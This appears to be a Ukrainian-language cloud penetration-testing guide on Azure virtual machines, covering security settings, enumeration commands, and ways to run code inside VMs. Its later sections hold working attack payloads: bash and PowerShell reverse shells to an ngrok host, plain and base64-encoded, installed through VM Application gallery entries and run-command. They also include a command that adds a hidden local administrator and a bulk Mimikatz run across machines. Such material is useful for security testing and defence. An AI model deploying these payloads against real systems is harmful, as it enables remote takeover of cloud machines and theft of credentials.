Мережі Azure містять різні сутності та способи їх налаштування. Ви можете знайти короткі описи,приклади та команди перерахування різних сутностей мережі Azure в:
Віртуальні машини Azure (ВМ) є гнучкими, на вимогу хмарними серверами, які дозволяють запускати операційні системи Windows або Linux. Вони дозволяють розгортати програми та навантаження без управління фізичним обладнанням. Віртуальні машини Azure можуть бути налаштовані з різними параметрами ЦП, пам'яті та зберігання для задоволення конкретних потреб і інтеграції з сервісами Azure, такими як віртуальні мережі, зберігання та інструменти безпеки.
Налаштування безпеки
Зони доступності: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи.
Тип безпеки:
Стандартна безпека: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування.
Довірене завантаження: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot та віртуальний модуль безпеки (vTPM).
Конфіденційні ВМ: На додаток до довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування дисків та більше.
Аутентифікація: За замовчуванням генерується новий SSH-ключ, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - azureuser. Також можливо налаштувати використання пароля.
Шифрування дисків ВМ: Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою.
Також можливо увімкнути шифрування на хості, де дані будуть зашифровані на хості перед відправкою до сервісу зберігання, забезпечуючи шифрування від кінця до кінця між хостом і сервісом зберігання (документація).
Група безпеки мережі NIC:
Немає: В основному відкриває кожен порт
Базова: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389)
Розширена: Виберіть групу безпеки
Резервне копіювання: Можливо увімкнути стандартне резервне копіювання (один раз на день) та покращене (декілька разів на день)
Опції оркестрації патчів: Це дозволяє автоматично застосовувати патчі у ВМ відповідно до вибраної політики, як описано в документації.
Сповіщення: Можливо автоматично отримувати сповіщення електронною поштою або через мобільний додаток, коли щось відбувається у ВМ. Правила за замовчуванням:
Відсоток ЦП перевищує 80%
Доступна пам'ять менше 1 ГБ
Відсоток споживаних IOPS дисків даних перевищує 95%
Відсоток споживаних IOPS ОС перевищує 95%
Загальна мережа перевищує 500 ГБ
Загальний вихід мережі перевищує 200 ГБ
VmAvailabilityMetric менше 1
Монітор здоров'я: За замовчуванням перевіряє протокол HTTP на порту 80
Замки: Дозволяє заблокувати ВМ, щоб її можна було лише читати (ReadOnly lock) або щоб її можна було читати та оновлювати, але не видаляти (CanNotDelete lock).
Більшість ресурсів, пов'язаних з ВМ, також підтримують замки, такі як диски, знімки...
Замки також можуть бути застосовані на рівнях групи ресурсів та підписки
Диски та знімки
Можливо увімкнути приєднання диска до 2 або більше ВМ
За замовчуванням кожен диск шифрується ключем платформи.
Те ж саме стосується знімків
За замовчуванням можливо поділитися диском з усіма мережами, але його також можна обмежити лише певним приватним доступом або повністю відключити публічний та приватний доступ.
Те ж саме стосується знімків
Можливо згенерувати SAS URI (максимум на 60 днів) для експорту диска, який можна налаштувати на вимогу аутентифікації або ні
Те ж саме стосується знімків
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
Images, Gallery Images & Restore points
A VM image is a template that contains the operating system, application settings and filesystem needed to create a new virtual machine (VM). The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain multiple disks and is designed to serve as a template for creating new VMs.
Images can be managed in the Images section of Azure or inside Azure compute galleries which allows to generate versions and share the image cross-tenant of even make it public.
A restore point stores the VM configuration and point-in-time application-consistent snapshots of all the managed disks attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
Azure Site Recovery
З документації: Site Recovery допомагає забезпечити безперервність бізнесу, підтримуючи роботу бізнес-додатків та навантажень під час збоїв. Site Recovery реплікує навантаження, що працюють на фізичних та віртуальних машинах (VM), з основного сайту на вторинне місце. Коли відбувається збій на вашому основному сайті, ви переходите на вторинне місце і отримуєте доступ до додатків звідти. Після відновлення основного місця ви можете повернутися до нього.
Azure Bastion
Azure Bastion забезпечує безпечний та безперешкодний Remote Desktop Protocol (RDP) та Secure Shell (SSH) доступ до ваших віртуальних машин (VM) безпосередньо через Azure Portal або через jump box. Завдяки усуненню необхідності в публічних IP-адресах на ваших VM.
Bastion розгортає підмережу під назвою AzureBastionSubnet з маскою підмережі /26 у VNet, в якому потрібно працювати. Потім він дозволяє підключатися до внутрішніх VM через браузер, використовуючи RDP та SSH, уникаючи відкриття портів VM для Інтернету. Він також може працювати як jump host.
Щоб перерахувати всі Azure Bastion Hosts у вашій підписці та підключитися до VM через них, ви можете використовувати наступні команди:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
Metadata
Служба метаданих екземпляра Azure (IMDS) надає інформацію про запущені екземпляри віртуальних машин для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через REST API, доступний за нерозподіленою IP-адресою 169.254.169.254, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належної комунікації.
Крім того, для зв'язку з кінцевою точкою метаданих HTTP-запит повинен мати заголовок Metadata: true і не повинен мати заголовок X-Forwarded-For.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)
Виконання коду у ВМ
Розширення ВМ
Розширення Azure ВМ - це невеликі програми, які забезпечують конфігурацію після розгортання та автоматизацію завдань на віртуальних машинах Azure (ВМ).
Це дозволить виконувати довільний код всередині ВМ.
Необхідний дозвіл - Microsoft.Compute/virtualMachines/extensions/write.
Можна перерахувати всі доступні розширення за допомогою:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
Можливо запускати власні розширення, які виконують власний код:
Ви також можете виконати інші корисні навантаження, такі як: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Скидання пароля за допомогою розширення VMAccess
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Відповідні розширення ВМ
Необхідний дозвіл все ще Microsoft.Compute/virtualMachines/extensions/write.
Розширення VMAccess
Це розширення дозволяє змінювати пароль (або створювати, якщо його не існує) користувачів всередині Windows ВМ.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Це розширення ВМ, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для виконання довільних команд у Windows VMs через це розширення:
Це розширення ВМ, яке дозволяє виконувати робочі процеси у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу Облікові записи автоматизації.
Застосунки ВМ
Це пакети з усіма даними програми та скриптами для встановлення та видалення, які можна використовувати для легкого додавання та видалення програм у ВМ.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Це шляхи, де програми завантажуються в файлову систему:
Можливо ділитися окремими додатками та галереями з іншими підписками або орендарями. Що дуже цікаво, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
Але немає "ринку" для vm додатків, як це є для розширень.
Приклад експлуатації для виконання довільних команд:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Дані користувача
Це постійні дані, які можна отримати з кінцевої точки метаданих у будь-який час. Зверніть увагу, що в Azure дані користувача відрізняються від AWS та GCP, оскільки якщо ви помістите скрипт сюди, він не виконується за замовчуванням.
Користувацькі дані
Можна передати деякі дані в VM, які будуть збережені в очікуваних шляхах:
У Windows користувацькі дані розміщуються в %SYSTEMDRIVE%\AzureData\CustomData.bin як бінарний файл і не обробляються.
У Linux вони зберігалися в /var/lib/waagent/ovf-env.xml, а тепер зберігаються в /var/lib/waagent/CustomData/ovf-env.xml
Агент Linux: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
cloud-init: За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в декількох форматах. Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
Я спробував, щоб і Ubuntu, і Debian виконували скрипт, який ви сюди помістили.
Також не потрібно активувати дані користувача для виконання цього.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Запустити команду
Це найосновніший механізм, який Azure надає для виконання довільних команд у ВМ. Необхідне дозволи - Microsoft.Compute/virtualMachines/runCommand/action.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt